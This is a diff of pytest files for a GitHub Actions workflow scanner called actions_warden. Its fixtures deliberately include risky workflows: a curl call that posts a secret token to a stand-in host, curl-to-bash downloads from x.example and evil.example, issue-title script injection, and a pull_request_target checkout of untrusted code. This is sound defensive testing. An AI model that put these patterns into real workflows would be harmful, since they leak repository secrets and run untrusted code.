+
+
+def test_report_without_path_exits_one(capsys):
+    assert main(["--report"]) == 1
+    assert "requires a file path" in capsys.readouterr().err
+
+
+def test_help_exits_zero(capsys):
+    assert main(["--help"]) == 0
+    assert "Exit codes" in capsys.readouterr().out

actions_warden-0.1.0/tests/test_scanner.py

@@ -0,0 +1,187 @@
+"""Scanner rule tests.
+
+Command-family markers are assembled split (join_parts) so this repo never
+ships a copy-paste-ready exfiltration or remote-exec one-liner.
+"""
+
+from actions_warden.scanner import scan_target
+
+
+def join_parts(*parts):
+    return "".join(parts)
+
+
+def write_workflow(root, name, body):
+    wf_dir = root / ".github" / "workflows"
+    wf_dir.mkdir(parents=True, exist_ok=True)
+    (wf_dir / name).write_text(body)
+
+
+PINNED_SHA = "a" * 40
+
+
+def test_clean_workflow_has_no_findings(tmp_path):
+    write_workflow(tmp_path, "ci.yml", f"""
+name: CI
+on: push
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@{PINNED_SHA}
+      - run: echo hello
+""")
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "no-known-indicators"
+    assert report["findings"] == []
+
+
+def test_secret_exfiltration_is_critical(tmp_path):
+    curl = join_parts("cur", "l")
+    write_workflow(tmp_path, "leak.yml", f"""
+on: push
+jobs:
+  go:
+    runs-on: ubuntu-latest
+    steps:
+      - run: {curl} -d "@-" https://x.example/c -H "x: ${{{{ secrets.TOKEN }}}}"
+""")
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "blocked"
+    assert any(f["type"] == "workflow-secret-exfiltration" for f in report["findings"])
+
+
+def test_script_injection_is_blocked_with_line(tmp_path):
+    write_workflow(tmp_path, "inject.yml", """
+on: issues
+jobs:
+  go:
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo "${{ github.event.issue.title }}"
+""")
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "blocked"
+    hit = next(f for f in report["findings"] if f["type"] == "workflow-script-injection")
+    assert hit["line"] is not None
+
+
+def test_remote_code_pipe_to_shell_is_blocked(tmp_path):
+    curl = join_parts("cur", "l")
+    sh = join_parts("ba", "sh")
+    write_workflow(tmp_path, "rce.yml", f"""
+on: push
+jobs:
+  go:
+    runs-on: ubuntu-latest
+    steps:
+      - run: {curl} -fsSL https://x.example/i.sh | {sh}
+""")
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "blocked"
+    assert any(f["type"] == "workflow-remote-code-exec" for f in report["findings"])
+
+
+def test_pull_request_target_head_checkout_is_blocked(tmp_path):
+    write_workflow(tmp_path, "prt.yml", f"""
+on: pull_request_target
+jobs:
+  go:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@{PINNED_SHA}
+        with:
+          ref: ${{{{ github.event.pull_request.head.sha }}}}
+""")
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "blocked"
+    assert any(f["type"] == "workflow-pwn-request" for f in report["findings"])
+
+
+def test_self_hosted_on_pull_request_is_review(tmp_path):
+    write_workflow(tmp_path, "sh.yml", f"""
+on:
+  pull_request:
+jobs:
+  go:
+    runs-on: self-hosted
+    steps:
+      - uses: actions/checkout@{PINNED_SHA}
+""")
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "review-needed"
+    assert any(f["type"] == "workflow-self-hosted-untrusted" for f in report["findings"])
+
+
+def test_permissions_write_all_is_review(tmp_path):
+    write_workflow(tmp_path, "perm.yml", """
+on: push
+permissions: write-all
+jobs:
+  go:
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo hi
+""")
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "review-needed"
+    assert any(f["type"] == "workflow-broad-permissions" for f in report["findings"])
+
+
+def test_oidc_with_write_is_review(tmp_path):
+    write_workflow(tmp_path, "oidc.yml", """
+on: push
+permissions:
+  id-token: write
+  contents: write
+jobs:
+  go:
+    runs-on: ubuntu-latest
+    steps:
+      - run: echo hi
+""")
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "review-needed"
+    assert any(f["type"] == "workflow-oidc-write" for f in report["findings"])
+
+
+def test_unpinned_action_is_low_review(tmp_path):
+    write_workflow(tmp_path, "pin.yml", """
+on: push
+jobs:
+  go:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: some-org/some-action@v2
+""")
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "review-needed"
+    hit = next(f for f in report["findings"] if f["type"] == "workflow-unpinned-action")
+    assert hit["severity"] == "low"
+
+
+def test_non_workflow_yaml_is_ignored(tmp_path):
+    curl = join_parts("cur", "l")
+    (tmp_path / "config.yaml").write_text(
+        f"run: {curl} https://x.example | sh\nkey: ${{{{ secrets.TOKEN }}}}\n"
+    )
+    report = scan_target(str(tmp_path))
+    assert report["risk"] == "no-known-indicators"
+    assert report["summary"]["filesScanned"] == 0
+
+
+def test_evidence_urls_are_defanged(tmp_path):
+    curl = join_parts("cur", "l")
+    sh = join_parts("ba", "sh")
+    write_workflow(tmp_path, "rce.yml", f"""
+on: push
+jobs:
+  go:
+    runs-on: ubuntu-latest
+    steps:
+      - run: {curl} https://evil.example/i.sh | {sh}
+""")
+    report = scan_target(str(tmp_path))
+    hit = next(f for f in report["findings"] if f["type"] == "workflow-remote-code-exec")
+    assert "hxxps://" in hit["evidence"]
+    assert "https://" not in hit["evidence"]